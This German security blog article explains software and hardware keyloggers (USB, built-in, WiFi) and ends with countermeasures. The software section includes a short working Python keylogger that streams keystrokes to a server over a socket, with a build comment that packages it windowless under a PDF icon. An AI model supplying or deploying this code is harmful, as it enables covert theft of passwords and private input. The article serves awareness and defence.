Keylogger, manchmal werden sie auch als KeyGrabber oder Tastenlogger bezeichnet, werden von Cyberkriminellen häufig als Spyware-Tool eingesetzt, um personenbezogene Daten, Anmeldeinformationen oder sensible Unternehmensdaten zu stehlen. Jedoch können Keylogger unter spezifischen Voraussetzungen auch von Arbeitgebern verwendet werden, um die Computeraktivitäten der Mitarbeiter zu beobachten. Auch Eltern können beispielsweise zu Nutzern werden, indem sie mit dem Ziel, ihre Kinder zu schützen, deren Internetnutzung überwachen. Ein anderes Anwendungsfeld besteht, wenn die Benutzer selbst Keylogger einsetzen, um mögliche unbefugte Aktivitäten auf ihren Geräten zu verfolgen. Strafverfolgungsbehörden nutzen Keylogger, um Vorfälle im Zusammenhang mit der Computerbenutzung zu analysieren. Gleichzeitig gibt es jedoch auch noch viele weitere Tools, die die Eingaben von Benutzern ohne böswillige Absicht analysieren. Dazu gehören Tools für das Debugging nach einem Fehlerfall oder Untersuchungen im Bereich Usability.
Software Keylogger
Eine Keylogging-Software kann absichtlich von jemanden heruntergeladen werden, der die Aktivitäten auf einem bestimmten Computer überwachen möchte oder es kann sich um Malware handeln, die unwissentlich heruntergeladen und als Teil eines Rootkits oder eines Fernverwaltungstrojaners (RAT) ausgeführt wird.
Das Keylogger-Programm zeichnet jeden Tastendruck auf, den der Benutzer eingibt, und lädt die Informationen über das Internet regelmäßig zu demjenigen hoch, der das Programm installiert hat. Je nach Schadsoftware kann der Upload sofort erfolgen oder die Eingaben werden erst gesammelt und dann zu einem möglichst unauffälligen Zeitpunkt verschleiert hochgeladen. Hier werden zum Teil populäre Dienste wie Google Drive oder einfach verschiedene Foren verwendet, um die Inhalte unauffällig hochzuladen. Hierzu werden reguläre Domains und IP-Adressen verwendet, die nicht ohne weitere Komplikationen gesperrt werden können.
Einen eigenen Keylogger zu entwickeln ist relativ einfach, da viele Programmiersprachen bereits Schnittstellen beinhalten, um auf Tastatureingaben zu reagieren. Das nachfolgende Beispiel zeigt den Code eines Keyloggers in Python, der die Tastatureingaben auf einen Server lädt:
# pyInstaller --onefile --icon=pdf.ico -F --noconsole keylogger.py import socket import sys from pynput.keyboard import Key, Listener import datetime import psutil import time import os def on_press(key): try: send_keystroke(datetime.datetime.utcnow().strftime(’%d.%m.%> Y - %H:%M:%S ’)+key.char) except UnicodeEncodeError: pass except AttributeError: pass def send_keystroke(message): sock.sendall(message) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_address = (’127.0.0.1’, 10000) sock.connect(server_address) with Listener(on_press=on_press) as listener: listener.join()
Hardware Keylogger
Hardware Keylogger können sehr einfach erworben werden und auch von Laien eingesetzt werden. Die Hacking Hardware ist in der Lage, alle Eingaben abzufangen – dazu zählt auch das Startpasswort eines Rechners, bevor das Betriebssystem gestartet ist. . Allerdings ist es ein physischer Angriff, bei dem der Angreifer vor Ort sein muss. Daher gibt es nur wenige Vorfälle, diese sind dafür jedoch ganz gezielte IT-Angriffe.
Die meisten Arbeitsplatztastaturen werden an der Rückseite des Computers oder einer Docking-Station angeschlossen, so dass die Anschlüsse außerhalb des direkten Sichtfeldes des Benutzers liegen. Ein hardwarebasierter Keylogger sieht wie ein Adapter bzw. eine Verlängerung aus, ist jedoch ein kleines Gerät, das als Verbindung zwischen der Computertastatur und dem Computer dient und alle Eingaben der Benutzer abfängt. Gibt der Benutzer auf der Tastatur etwas ein, sammelt der Keylogger jeden Tastendruck und speichert ihn als Text auf einem integrierten Speicher. Die Speicherkapazität kann bis zu mehreren Gigabytes betragen. Dies wiederum reicht für sehr viele Eingaben, zum Teil über Monate hinweg. Die Person, die den Keylogger installiert hat, muss jedoch zurückkehren und das Gerät physisch wieder mitnehmen, um auf die gesammelten Informationen zugreifen zu können. Allerdings gibt es inzwischen auch drahtlose Keylogger, die dann per WiFi die abgefangenen Daten übertragen können.
Das Gefährliche an den Hardware Keyloggern bezieht sich auf die Aktivitäten direkt nach dem Start des Rechners. Es können so beispielsweise auch Startpasswörter oder Bios/UEFI-Passwörter abgefangen werden. Grundsätzlich werden Keylogger nicht von Sicherheits-Software erkannt, da sie selbst nicht als neues Gerät erkannt werden, sondern alle Signale durchleiten und sie „nur nebenbei“ abgreifen.
USB Keylogger
Die einfachsten Hardware-Keylogger sind wie eine USB-Verlängerung aufgebaut. Auf der einen Seite besitzen sie einen USB-Stecker, auf der anderen Seite eine USB-Buchse. Sie werden auf der einen Seite direkt an den PC und auf der anderen Seite direkt an die Tastatur angeschlossen. Natürlich können sie auch mit einem USB-Verlängerungskabel zusätzlich versteckt werden, dadurch befindet sich am Rechner selbst ein normaler Stecker und der eigentliche Keylogger ist unter der Schreibtischplatte oder im Kabelkanal untergebracht.
Ist solch ein Keylogger angeschlossen, werden alle Eingaben auf dem Speicher gespeichert. Um den Inhalt auszulesen, ist eine Tastenkombination hinterlegt, die den Speichermodus des Keyloggers aktiviert. Zum Beispiel muss man drei Tasten gleichzeitig drücken. Eine derartige Kombination kommt bei der normalen Verwendung der Tastatur nicht vor. Danach verhält er sich wie ein USB-Stick und die Text-Datei mit allen Eingaben kann einfach geöffnet werden. Um ihn wieder als Keylogger einzusetzen, muss er einfach aus- und wieder eingesteckt werden.
Durch seine Größe ist er sehr unauffällig. Er ähnelt sogar Adaptern, die kabellosen Tastaturen beiliegen. Diese liefern zum Teil einen USB-Abstandhalter mit, damit der USB-Dongle weiter weg vom Gehäuse ist und so die Sendeleistung verbessert wird.
Beispielgerät
Beispielhaft betrachten wir einen USB Keylogger. Er weist keine erkennbare Kennung auf und wird von verschiedenen Herstellern unter unterschiedlichen Namen vermarktet. Der Hardware Keylogger hat eine USB Typ-A Buchse auf der einen Seite und einen USB Type-A Stecker auf der anderen Seite. Er hat eine Größe von 36 mm x 20 mm x 12 mm und eine Speicherkapazität von 16 MB. Diese Speicherkapazität reicht aus, um ca. 16.000.000 Tastenanschläge bzw. mehr als 8.000 Textseiten zu erfassen. Sobald er zwischen einem Rechner und der Tastatur angeschlossen wird, werden alle Eingaben in einer Textdatei direkt auf dem USB Keylogger gespeichert. Für den Rechner ist es hierbei nicht erkennbar, dass ein weiteres Gerät angeschlossen wurde.
Für den Zugriff auf die Daten muss eine vorab hinterlegte Tastenkombination gedrückt werden. Typischerweise besteht diese aus drei Zeichen, da für gewöhnlich ein Benutzer drei Zeichen gleichzeitig nicht drückt. Bei Tests hat sich gezeigt, dass einige Tastaturen drei Zeichen gleichzeitig nicht verarbeiten können – das liegt vermutlich an den verbauten Komponenten vorwiegend bei günstigen Tastaturen. Nach der Eingabe der Tastkombination schaltet der Keylogger in den USB-Stick Modus und wird als neues Laufwerk erkannt. Eine weitere Eingabe kann dann über die angeschlossene Tastatur nicht mehr erfolgen. In diesem Laufwerk liegen zwei Dateien. Einmal die Konfigurationsdatei, wo auch die Tastenkombination geändert werden kann, und die Datei mit allen Eingaben im TXT-Format. Sie kann einfach mit dem Standardeditor geöffnet und ausgelesen werden.
Integrierte Keylogger
Neben der Realisierung als USB-Adapter kann der Keylogger jedoch auch direkt in ein vorhandenes Gerät integriert werden bzw. integriert worden sein. Ein Angreifer kann zum Beispiel eine Tastatur vom Arbeitsplatz seines Opfers entfernen, diese öffnen und ein Keylogger-Board direkt integrieren. Dies erfolgt einfach durch das Verbinden der vier Kontakte mit dem USB-Kabel.
WiFi Keylogger
Die WiFi Variante der Keylogger funktioniert sehr ähnlich wie die analogen Pendants. Allerdings muss ein Angreifer nicht mehr an den Rechner zurückkehren, sondern kann im Radius des WiFi die Daten vom drahtlosen Keylogger abrufen.
Beispielgerät
Beispielhaft schauen wir uns einen WiFi Hardware Keylogger an. Auch dieser wird von verschiedenen Anbietern mit unterschiedlichen Bezeichnungen vermarktet. Die Konfiguration erfolgt über die Website des Keyloggers, da er einen kleinen Webserver mitliefert. Bei dem vorliegenden Modell wurde das WiFi Netzwerk „AIR_0E4DE5“ vom Keylogger geöffnet, da der weit verbreitete AirDrive Chip verwendet wird. Verbindet man sich mit diesem WiFi Netz, kann im Web-Browser die IP-Adresse 192.168.4.1 aufgerufen werden. Dort erhält man Einblick in die gespeicherten Eingaben, kann diese herunterladen und den Stick konfigurieren. Damit kann eine neue Bezeichnung für das Netzwerk vergeben werden, ein Passwort gesetzt und die SSID verborgen werden. Damit wird das WiFi Netzwerk nicht mehr normal im Betriebssystem angezeigt, es kann daraufhin nur noch mit spezieller Hardware bzw. Software aufgespürt werden.
Intelligente Keylogger
Neben dem eigentlichen Aufzeichnen von Tastatureingaben können auch einige Arten von Keyloggern auf bestimmte Eingaben warten und dann die Eingabe ersetzen. Dies kann zum Beispiel mit dem Entwicklungsboard Teensy realisiert werden (Beispiel).
Gegenmaßnahmen
Gegen alle Varianten von Keyloggern hilft eine alternative Authentifizierung, die nicht per Tastatur durchgeführt wird, sondern zum Beispiel per Smartcard. Außerdem kann die Gefahr durch den Einsatz einer Zwei-Faktor-Authentifizierung beim Login minimiert werden.
Zum Schutz vor Software Keyloggern sollte immer nur Software aus bekannten Quellen verwendet werden. Auf fremden Rechnersystemen kann es bei der Eingabe von sensiblen Informationen wie beispielsweise einem Passwort sinnvoll sein, während der Eingabe das Programm zu wechseln, weiter Eingaben zu tätigen und anschließend wieder zurück in die ursprüngliche Anwendung zu gehen und dann das restliche Passwort einzugeben. Dadurch, dass alle Eingaben gespeichert werden, kann das Passwort nicht mehr einfach herausgelesen werden, da es mit Fremdzeichen aus den anderen Programmen durchsetzt ist.
Ein Schutz vor Hardware-Keyloggern kann durch die Verwendung einer virtuellen Tastatur erzielt werden, denn die Eingaben dieser Bildschirmtastatur werden durch den Keylogger nicht mit aufgezeichnet. Deshalb ist es ratsam, diese zu nutzen, um sich vor Hardware-Keyloggern zu schützen. Alternativ ist der Rechner so zu verbauen (z.B. in einem abschließbaren Fach im Schreibtisch), dass eine Manipulation nicht möglich ist. Dieses Vorgehen nennt sich auch Schutz durch bauliche Maßnahmen.
Der Vollständigkeit halber sei erwähnt, dass es zwar Methoden gibt, wie Hardware Keylogger erkannt werden können, diese aber sehr aufwendig sind und spezielle Hardware erfordern, siehe „Detecting Hardware Keyloggers“ (PDF).
Logger Artikelserie
Dieser Artikel ist Teil der Artikelserie „Logger als Angriffstools“, die dem Themenschwerpunkt Hacking Hardware angehört. In dieser Artikelserie beschreibe ich verschiedene Arten von Loggern, damit diese erkannt und effektive Gegenmaßnahmen getroffen werden können.
- Tastaturüberwachung per Keylogger
- EvilCrow-Keylogger – Programmierbares Tool
- Heimliche Screenshots per Screenlogger
- WLAN Screenlogger Screen Crab
- 12.11.2024 (Workshop) Hacking- und Pentest-Hardware Workshop, scheible.it, Böblingen (weitere Infos)
Danke für die Aufklärung, hier zeigt sich wieder mal, dass wir in einer Welt der Dualität leben, denn auch Keylogger werden ja nicht ausschließlich für illegale Zwecke genutzt.